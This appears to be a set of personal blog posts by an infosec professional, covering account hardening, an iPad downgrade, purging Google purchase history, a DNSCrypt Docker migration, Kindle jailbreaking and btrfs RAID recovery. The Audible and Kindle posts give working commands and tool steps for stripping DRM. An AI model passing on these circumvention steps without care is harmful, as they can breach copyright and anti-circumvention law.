<a href="https://techsolidarity.org/resources/security_key_faq.htm">this guide</a>. The
second key is just a backup key, and could be the primary key used by your
spouse, friends or co-workers.</li>
<li>A PIN configured on all your SIMs. Instructions for
<a href="https://support.apple.com/en-us/HT201529">iPhone</a>,
<a href="https://support.t-mobile.com/docs/DOC-41621">Android</a>.</li>
<li>Full-Disk-Encryption on all your devices. Instructions for
<a href="https://securityplanner.org/#/tool/windows-encryption">Windows</a>,
<a href="https://securityplanner.org/#/tool/mac-encryption">Mac</a>,
<a href="https://wiki.archlinux.org/index.php/Dm-crypt/Encrypting_an_entire_system">ArchLinux</a>,
<a href="https://fedoraproject.org/wiki/Disk_Encryption_User_Guide">Fedora</a>,
<a href="https://help.ubuntu.com/community/Full_Disk_Encryption_Howto_2019">Ubuntu</a>.</li>
<li>Use randomly generated passwords everywhere. Trust your password manager on
this.</li>
<li><a href="https://faq.whatsapp.com/en/android/26000021">Setup a PIN on your WhatsApp</a>.</li>
<li>If you own a lot of cryptocurrency, use a hardware wallet and put it in a bank
safe. Have a backup one, in another safe. You can put the PIN for those in
your password store. I haven’t researched enough to suggest you which
wallet(s).</li>
<li>Get a SIM without an Aadhaar, to make SIM-Jacking attackes harder (applies in
India).</li>
<li>Go through <a href="https://securityplanner.org/">securityplanner.org</a>, which gives
you personalized recommendations customized for our risk profile. I agree with
most of their recommendations<sup id="fnref:10" role="doc-noteref"><a href="#fn:10" class="footnote" rel="footnote">8</a></sup></li>
<li>Signup for breach notifications against your email at
<a href="https://haveibeenpwned.com/">https://haveibeenpwned.com/</a>.</li>
<li>If you’d like to get off GMail, pay for <a href="https://www.fastmail.com/">FastMail</a>.
Alternatively, if I know you in real-life, I’m happy to host your mail in my
Migadu account. (Only works if you know me well enough to trust me)</li>
</ul>
<h3 id="why-are-you-so-paranoid">Why are you so paranoid?</h3>
<p>I work in infosec. Breaking things comes naturally to me, and I plan for
defense-in-depth. Plus, I’d be a terrible security person if I got hacked.</p>
<h3 id="why-not-recommend-open-source-keys-instead">Why not recommend open source keys instead?</h3>
<p>Availability is a pain point, especially if you aren’t in the US. Even getting
my hands on a SoloKey was hard, despite backing it on KickStarter.</p>
<ul>
<li><a href="https://onlykey.io">OnlyKey</a> also makes some claims regarding open source,
but I can’t find their schematics anywhere.</li>
<li><a href="https://solokeys.com/">SoloKey</a> is great, and what I’d recommend, but
<a href="https://github.com/solokeys/solo/issues/16">it doesn’t support OpenPGP yet</a>.</li>
<li>[NitroKey Start][nitrokey-start] is
<a href="https://news.ycombinator.com/item?id=21884930">apparently completely FOSS</a>,
so you might wanna check that.</li>
</ul>
<p>The HyperFIDO keys are compliant to the U2F/FIDO standards, and I’ve not faced
any issues while using them. They’re cheap and widely available. Unless you need
GPG, go for it.</p>
<hr />
<p><small>Thanks to Giridharan, Santosh, and Akshay for reviewing drafts of this
and offering valuable suggesions. If you have any suggestions, happy to <a href="/contact/">hear
them</a></small></p>
<hr />
<p>[passforios]:
https://mssun.github.io/passforios/
“Open Source, no-network, minimalist pass client for iOS”
[okc]: https://www.openkeychain.org/
[pass]: https://passwordstore.org
[tile]: https://www.thetileapp.com/en-us/
[slim]:
https://www.thetileapp.com/en-us/store/tiles/slim
“I have the older version of the Tile Slim”
[ssh-u2f]:
https://www.undeadly.org/cgi?action=article;sid=20191115064850
“Does it really count as 2FA if both your SSH and U2F is the same device?”
[nitrokey-start]: https://shop.nitrokey.com/shop/product/nitrokey-start-6</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:3" role="doc-endnote">
<p>I moved away from Lastpass after Tavis Ormandy reported a RCE vulnerability
on their browser extension. Their wikipedia page mentions 2 breaches, and 3
security incidents. It has never undergone a security audit (unlike
bitwarden) and is not something I recommend anymore. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:1" role="doc-endnote">
<p>The <a href="https://github.com/roddhjav/pass-tomb">pass-tomb</a> extension bypasses
this limit and encrypts your filenames as well. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:7" role="doc-endnote">
<p>I have <a href="https://git.captnemo.in/explore/repos">my own git server</a> configured
as a fallback if it goes down. I ensure the same controls on my Git server
as Gitea, and it runs in my living room. <a href="#fnref:7" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:8" role="doc-endnote">
<p>I lost my previous GPG key because my Yubikey stopped working <a href="#fnref:8" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:11" role="doc-endnote">
<p>The jury is still out on whether this counts as an “independent second
factor”. <a href="#fnref:11" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:6" role="doc-endnote">
<p>The domain is stuck in a legal limbo, because of an
<a href="https://our.in/mitsu-ceo-got-upset-with-the-nixi-proceedings/">ongoing case between my registrar and NIXI</a>
(which runs the <code class="language-plaintext highlighter-rouge">.in</code> registry). If you have any suggestions/ideas, please
<a href="/contact">reach out</a>. <a href="#fnref:6" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:5" role="doc-endnote">
<p>Namecheap announced
<a href="https://www.namecheap.com/blog/protect-account-totp-2-factor/">U2F support</a>
in April 2019, and while it was buggy at first, it has definitely improved. <a href="#fnref:5" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:10" role="doc-endnote">
<p>The one major exception is lastpass, which I no longer recommend. <a href="#fnref:10" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Downgrading my iPad 2 to iOS 82019-08-11T00:00:00+00:00https://captnemo.in/blog/2019/08/11/ipad-downgrade-ios-6-8<p><em>Update</em>: Apple is no longer signing iOS6 for the iPad 2, so this is no longer feasible.</p>
<p>I own a iPad 2 (GSM), which is rarely used these days because it is too slow with the latest iOS 9 upgrades. It is a 8 year old device, but I can’t just install Linux on it and make it usable, which is what I do with most other devices.</p>
<p>The next best thing was to downgrade the iOS version. The device is anyway un-supported at this point, so I might as well go there. Apple has restrictions on which iOS releases are installable at any point on any device, ~but thankfully they are still signing iOS6 for my device for some legal reasons~.</p>
<h2 id="steps">Steps:</h2>
<ol>
<li>Download the iOS firmware for your device from <a href="https://ipsw.me/#platform">https://ipsw.me/#platform</a></li>
<li>Launch iTunes</li>
<li>Option+Click on the Restore button in iTunes</li>
<li>Select the file you just downloaded.</li>
<li>Disable iCloud on the device</li>
<li>Upgrade to iOS8</li>
</ol>
<p>This is possible as long as Apple is signing the IPSW for your device. The case of iOS6 being signed seems to be true for:</p>
<ul>
<li>iPhone 4S</li>
<li>iPad 2</li>
</ul>
<h2 id="security-notes">Security Notes</h2>
<p>Running an unsupported OS is not something I take lightly. Here’s a list of defensive measures I took to ensure that I’m not at risk while doing so:</p>
<ol>
<li>Try to keep the device always in Airplane mode.</li>
<li>Keep sensitive data off the device. No photos/keychain sync for eg. Don’t enable Calendar/Contact/Media sync.</li>
<li>Enable Restrictions on the device:
<ul>
<li>Restrict Safari to limited websites.</li>
<li>Disable application installs.</li>
<li>Disable iTunes store/iBooks store etc.</li>
<li>Disable GPS/Bluetooth.</li>
<li>Limit Background Refresh to very few trusted applications.</li>
</ul>
</li>
<li>Limit number of applications (I only have Kybooks installed).</li>
<li>Disable Javascript on Safari.</li>
</ol>
<p>If possible, I’d recommend using a separate Apple Account on the device.</p>
Cleaning up Google Purchases2019-06-01T00:00:00+00:00https://captnemo.in/blog/2019/06/01/cleaning-google-purchases<p>The <a href="https://www.cnbc.com/2019/05/17/google-gmail-tracks-purchase-history-how-to-delete-it.html">Google Purchase History</a> feature has been doing rounds in the news recently. In case you missed it, go to <a href="https://myaccount.google.com/purchases">https://myaccount.google.com/purchases</a> right now and make sure you are logged in with your personal gmail account to see what all Google thinks you’ve bought.</p>
<p>For me it lists purchases going as far back as 2013, which include:</p>
<ol>
<li>All of my Amazon Purchases (including Kindle and Audible)</li>
<li>Flipkart/Sneapdeal purchases</li>
<li>Gifts I’ve bought for others on various platforms</li>
<li>All my iCloud purchases</li>
<li>Purchases on Steam</li>
<li>BigBasket purchases</li>
<li>Google Playstore purchases as well, of course</li>
<li>And much, much more.</li>
</ol>
<p>For each of the purchases, it remembers the price, the taxes, as well as the delivery address used.</p>
<p>While this isn’t shocking in the least, I was surprised, because as a Infosec professional, I’ve disabled all of google’s invasive tracking features:</p>
<ol>
<li>All my Activity Controls are paused.</li>
<li>Google Location history is disabled for my account.</li>
<li>I have <a href="https://myaccount.google.com/shared-endorsements">Shared endorsements</a> turned off.</li>
<li>Ad personalization is turned off.</li>
<li>I used to run with the <a href="https://addons.mozilla.org/en-US/firefox/addon/protect-my-choices/">Protect my Choices</a> extension till a while back to avoid targeted advertising.</li>
</ol>
<p>Regardless, the Google purchases page had hundreds of results, going back half a decade. Google currently does not offer a way to delete collected purchases directly, or to pause this collection in any way. The only way is to find the emails that Google scanned, and delete them.</p>
<p>I ended up deleting everything from the following email addresses:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[email protected][email protected][email protected][email protected][email protected][email protected]@services.target.com
[email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected]
</code></pre></div></div>
<p>Note that deleting the email doesn’t seem to be sufficient either, you need to clear your Trash, and then wait for a while (almost 2 days for me) before the system refreshes. After 3 days of just deleting mails, I finally got this screen:</p>
<p><img src="/img/google-purchases.png" alt="screenshot of google purchases dashboard showing "You don't have any purchases"" /></p>
<p>Google seems to be picking up <em>all kinds of emails, including</em>:</p>
<ol>
<li>Invoices</li>
<li>Shipment Confirmations / Updates</li>
<li>Return confirmations</li>
<li>Payment Confirmations</li>
<li>Order Cancellations</li>
<li>Payment Failures (gasp!)</li>
</ol>
<h2 id="warning-about-deletions">Warning about Deletions</h2>
<p>I’ve already switched away from Amazon/Flipkart emails from my Gmail. But deleting invoices from your inbox isn’t always the best idea. Most websites will let you re-download invoices (Amazon/Flipkart do), but take care not to delete any necessary emails that you might need for warranty claims or any other purpose later.</p>
Migrating DNSCrypt Server to Docker2019-05-18T00:00:00+00:00https://captnemo.in/blog/2019/05/18/dnscrypt-migrating-to-docker<p>I’ve been running a personal <a href="https://captnemo.in/dnscrypt/">DNSCrypt server in Bangalore</a> for the last 2 years. When I set it up, it was just a compiled version of <code class="language-plaintext highlighter-rouge">dnscrypt-wrapper</code>, which was the bare minimum setup I could do.</p>
<p>Since then, I’ve upgraded it to a distribution supported version, but recent changes in <a href="https://dnscrypt.pl/2017/01/04/keys-are-now-rotated-every-24-hours/">dnscrypt key rotation</a>, I’ve been wanting to setup something automated as well.</p>
<p>The easiest way was to switch to the official <a href="https://github.com/DNSCrypt/dnscrypt-server-docker">DNSCrypt Docker</a> image, which does both key generation and certificate rotation. Since my public key was already present in the <a href="https://dnscrypt.info/public-servers">DNSCrypt Server lists</a>, I was not too keen to regenerate a new key.</p>
<p>The primary challenge was ensuring that the docker container picks up my existing keys without trying to generate new ones from scratch. It was basically 2 steps:</p>
<ol>
<li>Match the directory structure that the container expects.</li>
<li>Invoke the container directly into <code class="language-plaintext highlighter-rouge">start</code> mode while passing existing keys.</li>
</ol>
<h2 id="directory-structure">Directory Structure</h2>
<p>I copied my keys (<code class="language-plaintext highlighter-rouge">public.key</code>, <code class="language-plaintext highlighter-rouge">secret.key</code>) to <code class="language-plaintext highlighter-rouge">/etc/dnscrypt-keys</code> and ran the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo 2.dnscrypt-cert.captnemo.in > provider_name
touch provider_info.txt # I couldn't figure out how to output the same info, so kept it blank
hexdump -ve '1/1 "%.2x"' < public.key > public.key.txt
</code></pre></div></div>
<p>Then I ensured that the file permissions are matching what the container expects:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chmod 640 secret.key
chmod 644 public.key
chown root:1002 public.key secret.key
chmod 644 provider_name
</code></pre></div></div>
<p>This is how the final permissions looked for the directory (<code class="language-plaintext highlighter-rouge">/etc/dnscrypt-keys</code>)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-rw-r----- 1 root 1002 64 May 18 07:15 secret.key
-rw-r--r-- 1 root 1002 32 May 18 07:15 public.key
-rw-r--r-- 1 root root 28 May 18 07:19 provider_name
-rw-r--r-- 1 root root 0 May 18 07:23 provider_info.txt
-rw-r--r-- 1 root root 64 May 18 07:25 public.key.txt
drwxr-xr-x 2 root root 4096 May 18 07:26 .
</code></pre></div></div>
<h2 id="running-the-container">Running the Container</h2>
<p>Then, I directly ran <code class="language-plaintext highlighter-rouge">dnscrypt-wrapper</code> container:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run --detatched --restart=unless-stopped --volume /etc/dnscrypt-keys:/opt/dnscrypt-wrapper/etc/keys --publish 10.47.0.5:4434:443/tcp --publish 10.47.0.5:4434:443/udp jedisct1/dnscrypt-server start
</code></pre></div></div>
<p>I pass a host path mount instead of creating a Docker Volume, since they can get deleted in regular <code class="language-plaintext highlighter-rouge">docker prune</code>.</p>
<p>Here, <code class="language-plaintext highlighter-rouge">10.47.0.5</code> is the <a href="https://www.digitalocean.com/docs/networking/floating-ips/how-to/find-anchor-ips/">“Anchor IP”</a>, which Digital Ocean internally maps to my <a href="https://www.digitalocean.com/docs/networking/floating-ips/">Floating IP</a>.</p>
<p>The container comes up, generates new short-term keys and goes live:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Starting DNSCrypt service for provider:
2.dnscrypt-cert.captnemo.in
Starting pre-service scripts in /etc/runit_init.d
setup in directory /opt/unbound/etc/unbound
generating unbound_server.key
Generating RSA private key, 3072 bit long modulus (2 primes)
.......++++
...................++++
e is 65537 (0x010001)
generating unbound_control.key
Generating RSA private key, 3072 bit long modulus (2 primes)
.........................++++
........................................++++
e is 65537 (0x010001)
create unbound_server.pem (self signed certificate)
create unbound_control.pem (signed client certificate)
Signature ok
subject=CN = unbound-control
Getting CA Private Key
Setup success. Certificates created. Enable in unbound.conf file to use
ok: run: unbound: (pid 28) 300s
ok: run: dnscrypt-wrapper: (pid 31) 300s
ok: run: unbound: (pid 28) 600s
ok: run: dnscrypt-wrapper: (pid 31) 600s
</code></pre></div></div>
<p>Once the server was up, I verified connectivity with <code class="language-plaintext highlighter-rouge">dnscrypt-proxy</code> and it worked perfectly.</p>
<h2 id="future-scope">Future Scope</h2>
<p>Right now, I have a single container that does 2 things:</p>
<ol>
<li><a href="https://github.com/DNSCrypt/dnscrypt-server-docker/blob/1f42134a69ade6026f07c463f6a497ae12cff3f4/key-rotation.sh#L3">Certificate Rotation</a> via a service that checks it every 30 minutes.</li>
<li>DNSCrypt Service, which is accessible over the internet.</li>
</ol>
<p>For (1) to work, it needs access to the Private Keys that are used to sign the temporary certificates that last 24 hours. Since both things are managed within the same container, the container ends up with both network <em>and</em> long-term keys access. This means, any RCE on the service can result in the long-term keys being compromised.</p>
<p>A simple fix for this would be to separate out the Certificate Rotation part into a separate “mode” on the Docker Image, which can be called independently. This would allow someone to run certificate rotation on a second container using a scheduler, but with far more limitations (such as no network access). A common file-mount between both the containers can take care of sharing the temporary keys between the containers, and a simple unix socket on the shared-file-mount can be used to signal a certificate rotation (this triggers the dnscrypt service restart, so it picks the new cert).</p>
Stripping Audible DRM2019-04-14T00:00:00+00:00https://captnemo.in/blog/2019/04/14/audible-drm<p>Self-Guide for stripping the Audible DRM, in similar vein as my <a href="/blog/2019/03/26/kindle-self-guide/">Kindle Self-Guide</a>.</p>
<ol>
<li>Download the aax file from Audible website.</li>
<li>Run the inAudible-NG Rainbrow crack table against the AAX file.</li>
</ol>
<p>Easiest way is via docker/podman:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cd ~/Music/Audiobooks
podman run -v $(pwd):/data ryanfb/inaudible@sha256:b66738d235be1007797e3a0a0ead115fa227e81e2ab5b7befb97d43f7712fac5
for i in "*.m4a"; do fix-audible-m4a "$i";done
</code></pre></div></div>
<p>The cool part about this is that the entire activation is done offline, and runs a Rainbow Table attack against the Audible DRM. To make the process faster in the future, you can save your “activation bytes” (8 hex characters) and directly use them with ffmpeg to decode instead:</p>
<p><code class="language-plaintext highlighter-rouge">ffmpeg -loglevel panic -y -activation_bytes ${AUDIBLE_ACTIVATION_BYTES} -i "$aax_file" -c:a copy -vn "$m4a_file"</code></p>
<p>A small percentage of Audible AAX files have a incorrect bit set in the “Audio Object Type Specific Config” in the ESDS atom in an M4A file, which leads to them not playing in
Firefox/Android and some other players. To fix this, I have a <a href="https://github.com/captn3m0/Scripts/blob/master/fix-audible-m4a">fix-audible-m4a</a> script called above.</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/ryanfb/docker_inaudible_rainbowcrack">https://github.com/ryanfb/docker_inaudible_rainbowcrack</a></li>
<li><a href="https://github.com/inAudible-NG/tables">https://github.com/inAudible-NG/tables</a></li>
<li><a href="https://rentry.co/n4ost">https://rentry.co/n4ost</a></li>
</ul>
Kindle Hacks, A Self-guide2019-03-26T00:00:00+00:00https://captnemo.in/blog/2019/03/26/kindle-self-guide<p>I run a non-standard Kindle configuration:</p>
<ol>
<li>Jailbroken <small>(because I want to own the device, not rent it)</small></li>
<li>Runs KOReader <small>(because I want to read EPUBs and PDFs with reflow.)</small></li>
<li>DRM Stripping <small>(because I want to own the book, not rent it)</small></li>
</ol>
<p>Since I don’t do any of these often enough to automate it, this is a self guide to help me follow these steps the next time I have to do any of this. No guarantees of this being helpful to anyone else but me.</p>
<h1 id="jailbreak">Jailbreak</h1>
<p>The <a href="https://lifehacker.com/how-to-jailbreak-your-kindle-1783864074" title="Lifehacker's Guide on how to Jailbreak a Kindle">lifehacker guide on how to jailbreak your kindle</a> is a good starting point [<a href="https://outline.com/cEZNAt">archived</a>]. The mobileread forums have the <a href="https://www.mobileread.com/forums/showthread.php?t=275881">definitive guides</a>. Also see <a href="https://wiki.mobileread.com/wiki/5_x_Jailbreak#Will_this_jail_break_work_on_my_current_firmware.3F">this FAQ</a> on the mobileread wiki.</p>
<p>(Most of these only cover modern paperwhite kindles)</p>
<h2 id="maintaining-the-jailbreak">Maintaining the Jailbreak</h2>
<p>Sometimes, Kindle firmware updates will stop the Jailbreak. Search for your firmware on mobileread forums. See <a href="https://www.mobileread.com/forums/showthread.php?p=3562050">this link</a> for the 5.8 series.</p>
<p>Copy the <code class="language-plaintext highlighter-rouge">.bin</code> file to your kindle root directory and trigger a manual firmware update. That should reboot and re-affirm the jailbreak. To trigger a manual firmware update, go to the Kindle Menu and click “Update”. If it is greyed out, check if the file was copied correctly, and try rebooting.</p>
<h1 id="applications">Applications</h1>
<p>Once you have a jailbreak, the rest is mostly installing packages via MRPI. I keep a ready directory of packages I can copy as-is to my Kindle. The current listing is at <a href="https://paste.ubuntu.com/p/CXS5hYZdqc/">https://paste.ubuntu.com/p/CXS5hYZdqc/</a> with most of it just being koreader.</p>
<p><a href="https://koreader.rocks">koreader</a> is a FOSS document viewer for E Ink devices that supports Kindle, Kobo, PocketBook, Ubuntu Touch and Android devices.</p>
<p>The primary 2 packages are:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">Update_KUALBooklet_v2.7_install.bin</code></li>
<li><code class="language-plaintext highlighter-rouge">update_kpvbooklet_0.6.6_install.bin</code></li>
</ul>
<p>Run <code class="language-plaintext highlighter-rouge">;log mrpi</code> via search after copying them to re-install them if needed.</p>
<h2 id="koreader">koreader</h2>
<p>Download the latest release from <a href="https://github.com/koreader/koreader/releases/latest">GitHub</a>.</p>
<p>You should download the <code class="language-plaintext highlighter-rouge">kindle5-linux-gnueabi</code> package for modern Paperwhites. Unzip it to the copy directory mentioned above.</p>
<p>Aside: koreader has a linux appimage version for desktops, which <a href="https://aur.archlinux.org/packages/koreader-appimage/">I package for AUR</a>.</p>
<h1 id="drm-related-stuff">DRM Related Stuff</h1>
<p>DRM is inherently bad for users. If I switch my Ebook reader from Kindle (which are great <em>as of today</em>) to
a Kobo tomorrow, I want my content to stay with me.</p>
<p>There are much better websites that explain the issues with DRM, so go visit: <a href="https://fckdrm.com/">fckdrm.com</a>, <a href="https://www.defectivebydesign.org">DefectiveByDesign.org</a>, or <a href="https://www.eff.org/issues/drm">EFF/drm</a>.</p>
<p>The primary tool for stripping DRM from Kindle books is <a href="https://github.com/apprenticeharper/DeDRM_tools">apprenticeharper’s DeDRM Repo</a> which works as a <a href="https://calibre-ebook.com/">Calibre Plugin</a>. If you are running calibre with Python 3 (such as via the <a href="https://www.archlinux.org/packages/community/x86_64/calibre-python3/">calibre-python3</a> package on Arch Linux) - you should install the DeDRM plugin from the <a href="https://github.com/lalmeras/DeDRM_tools/tree/Python3/DeDRM_plugin">python3 fork</a>. Compress the <code class="language-plaintext highlighter-rouge">DeDRM_plugin</code> directory into a flat-zip file and use that in Calibre.</p>
<h2 id="getting-the-key">Getting the Key</h2>
<p>My current key is saved in pass:</p>
<p><code class="language-plaintext highlighter-rouge">pass show Keys/Kindle.k4i |jq</code></p>
<p>Save it in a file, which you can import to Calibre.</p>
<p>If you don’t have the key or if the above isn’t valid, see <a href="https://www.reddit.com/r/ebooks/comments/2muccd/remove_drm_restrictions_from_almost_any_type_of/cm8f5gt/">this comment on r/ebooks</a> [<a href="https://web.archive.org/web/20190326171740/https://www.reddit.com/r/ebooks/comments/2muccd/remove_drm_restrictions_from_almost_any_type_of/cm8f5gt/">archived</a>].</p>
<h2 id="importing-the-key">Importing the Key</h2>
<blockquote>
<p>At the bottom-left of the plugin’s customization dialog, you will see a button labeled “Import Existing Keyfiles”. Use this button to import existing ‘.k4i’ key files. Key files might come from being exported from this plugin, or may have been generated using the kindlekey.pyw script running under Wine on Linux systems.</p>
</blockquote>
<p>I once did some trickery on the <code class="language-plaintext highlighter-rouge">kindlekey.pyw</code> application to get it working on my system, but I didn’t take notes. If I ever do this again - AUTOMATE THIS.</p>
<h2 id="getting-a-copy-of-the-encrypted-book">Getting a copy of the encrypted book</h2>
<p>There are multiple sources for you to try.</p>
<ol>
<li>Amazon website’s My Content page is the easiest. It doesn’t work for books with special typesetting - quite rare. Prefer this over everything else.</li>
<li>Download via the Kindle for PC application (See next section).</li>
<li>Get the KFX file from your Kindle device.</li>
<li>Copy the KFX/AZW file from the Android/iOS application.</li>
</ol>
<h3 id="kindle-for-pc">Kindle for PC</h3>
<p>Stripping DRM for any medium is always a cat-and-mouse game. Amazon keeps changing the DRM format in every Kindle firmware update, which is why the recommended method is to use a known/older version of the Kindle for Mac/PC Application as your source.</p>
<p><em>Note</em>: The 1.24.3 release does not work on Linux. If you’re on Linux, you must instead download the <a href="https://filehippo.com/download_kindle_for_pc/download/a6284b51053b0e38f4b9f90d4470bd91/">1.17.0</a> release instead (<code class="language-plaintext highlighter-rouge">sha256=14e0f0053f1276c0c7c446892dc170344f707fbfe99b6951762c120144163200</code>).</p>
<ol>
<li>Install Kindle for PC. It does work on Wine. Make sure you download <code class="language-plaintext highlighter-rouge">1.24.3 (51068)</code>. I trust <a href="https://filehippo.com/download_kindle_for_pc/download/ef9369348002466588fd3316af6e00fb/">filehippo</a> for this. The sha256sum for the installer is <code class="language-plaintext highlighter-rouge">c7a1a93763d102bca0fed9c16799789ae18c3322b1b3bdfbe8c00422c32f83d7</code>.</li>
<li>Install then launch it, and download the book.</li>
<li>Go to <code class="language-plaintext highlighter-rouge">~/Documents/My Kindle Content</code></li>
<li>Find book by Last Modified Date.</li>
<li>Run <code class="language-plaintext highlighter-rouge">calibredb add book.azw</code>. If all goes well, the book should show up in your library, and you should be able to convert it.</li>
</ol>
<hr />
<h1 id="reference-files">Reference Files</h1>
<p>I have a backup of my current Kindle files at http://ge.tt/75zk4Dv2 in case you need any of the files mentioned above. Checksums for the files are below, since <code class="language-plaintext highlighter-rouge">ge.tt</code> doesn’t believe in HTTPS:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>e3b05193ed9d0b482f01dfb550eba67f3b113b5165aae5632379cf35fec2f59d copy.tar.gz
14e0f0053f1276c0c7c446892dc170344f707fbfe99b6951762c120144163200 KindleForPC-installer-1.17.44170.exe
c7a1a93763d102bca0fed9c16799789ae18c3322b1b3bdfbe8c00422c32f83d7 KindleForPC-installer-1.24.51068.exe
50bb0e5d9c03bcb79b17c1b7063cefd2c947a9d1c4392814e6ec05225296472a kual-helper-0.5.N.zip
39352b4b68993680f06d5ecc57ce7ec4c271b6b5f2386ea998027420c45f2acd KUAL-KDK-1.0.azw2
ceb207ee4c8d3674f308ff91432aeabf213b203571e270f70b8ae218df6ded7d KUAL-KDK-2.0.azw2
fce02f0e104e846f1e4cc0e029500c5a722614d63a47035d78ea4cf59f67a448 kual-mrinstaller-1.6.N.zip
4a6de1fafe47ec0e3bfb529edead401c92e66b00697d507abe945679b3b7bc65 KUAL-v2.7.zip
253d0b00b31d62ef9dadb7ca88b98e2718cb35246816b3c50dd63c0a7ef28a52 Update_jailbreak_hotfix_1.14_5.8.10_install.bin
cc63ba1b454d1f32492c835f108ee04aaa80e6e7a95f12b7216c2c015daa2fbc Update_jailbreak_hotfix_1.14_nomax_install.bin
</code></pre></div></div>
Dealing with dead disks in a btrfs RAID1 array2019-02-24T00:00:00+00:00https://captnemo.in/blog/2019/02/24/btrfs-raid-device-replacement-story<p><strong>tl;dr</strong>: Check your disk usage v/s RAID capacity to ensure that you can remove a disk before trying. If you can connect a new disk without removing the old one, run a <code class="language-plaintext highlighter-rouge">btrfs replace</code> - it is much faster.</p>
<hr />
<p>My homeserver setup has a 4 disk setup:</p>
<ol>
<li>128GB Samsung EVO 850 SSD as the primary disk (root volume)</li>
<li>A 3 Disk btrfs RAID1 Array that I use for almost everything else.</li>
</ol>
<p>The 3 disks were:</p>
<ol>
<li>A WD-3.5inch-3TB that I shelled from a WD-MyBook. This was the oldest disk in the array</li>
<li>2xSeagate 2.5-inch-3TB external disks that I shelled from Seagate Expansion disks.</li>
</ol>
<p>The WD disk had been giving rising errors recently, and I was noticing hangs on the system as well:</p>
<ol>
<li>My Steam saves would take time, and hang the game.</li>
<li>Kodi would ocassionaly hang just switching between screens as it would load images from disk.</li>
<li>gitea, which writes a lot to disk would get similar issues.</li>
</ol>
<p>I asked a question on <a href="https://www.reddit.com/r/archlinux/comments/asrlam/btrfscleaner_at_100_cpu_usage_on_raid1_setup/egwc047/">r/archlinux</a> and confirmed that it indeed a dead disk.</p>
<p>Ordered a new Seagate Barracuda 3TB the next day, but my peculiar setup caused me a lot of pain before I could remove the dead disk. The primary issue was with the limited number of SATA connectors I had (just 4). The original setup had <code class="language-plaintext highlighter-rouge">/dev/sdb,/dev/sdc,/dev/sdd</code> as the three RAID disks with <code class="language-plaintext highlighter-rouge">/dev/sdb</code> being the dying WD.</p>
<p>This is what all I tried:</p>
<ol>
<li>Removing <code class="language-plaintext highlighter-rouge">/dev/sdb</code> and adding a new disk the array (<code class="language-plaintext highlighter-rouge">/dev/sde</code>). Unfortunately, to add a disk to the array, you have to mount it first, and the setup just refused to mount in degraded mode. (It didn’t give a visibly error, so I didn’t know why)</li>
<li>I tried to keep the old disk attached over USB on a friend’s suggestion, but that didn’t work either. This was likely a cable issue, and I didn’t investigate this further.</li>
<li>Booting with the original three disks but replacing the dying disk with the new one post boot. Didn’t work as I kept getting read/write errors to sdb even after it was disconnected.</li>
</ol>
<p>In short:</p>
<ul>
<li>the system refused to mount the raid array with a missing disk (and I didn’t want to risk a boot with the array unavailable)</li>
<li>I couldn’t do a live replace because I had a limited number of SATA connectors.</li>
</ul>
<h2 id="what-worked">What worked:</h2>
<p>Running a <code class="language-plaintext highlighter-rouge">btrfs device delete</code> and leting it run overnight. It gave an error after quite a long time that finally helped me figure out the problem:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>btrfs device delete /dev/sdb1 /mnt/xwing
ERROR: error removing device '/dev/sdb1': No space left on device
btrfs fi df /mnt/xwing
Data, RAID1: total=2.98TiB, used=2.98TiB
System, RAID1: total=32.00MiB, used=544.00KiB
Metadata, RAID1: total=5.49GiB, used=4.81GiB
GlobalReserve, single: total=512.00MiB, used=0.00B
</code></pre></div></div>
<p>The RAID array was 2.7TBx3 disks and I was storing roughly <code class="language-plaintext highlighter-rouge">2.98TB</code> of data. To switch to a RAID1 setup with just 2 disks, I needed to delete some data. I ended up clearing out a few steam games (bye bye Witcher 3) and ran another <code class="language-plaintext highlighter-rouge">btrfs device delete</code> to resolve the issue.</p>
<p>If you are faced with a situation where you have to remove a device, but can’t do a live replace, here’s what you need:</p>
<ol>
<li>Check that your disk removal does not impact any data storage. Your n-1 disk array should have enough capacity to store everything.</li>
<li>Run a <code class="language-plaintext highlighter-rouge">btrfs device delete</code></li>
<li>Reboot</li>
<li>Re-attach new disk, and then run a <code class="language-plaintext highlighter-rouge">btrfs device add</code></li>
</ol>
<p>As a retro, I posted a summary with the issues I faced on the <a href="https://lore.kernel.org/linux-btrfs/[email protected]/T/#u">btrfs mailing list</a></p>
<hr />
<p>If you’re interested in my <a href="/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula/">the same server</a>, and I’ve been writing about my experience and learnings:</p>
<ol>
<li><a href="/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
<li><a href="/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
<li><a href="/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
<li><a href="/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
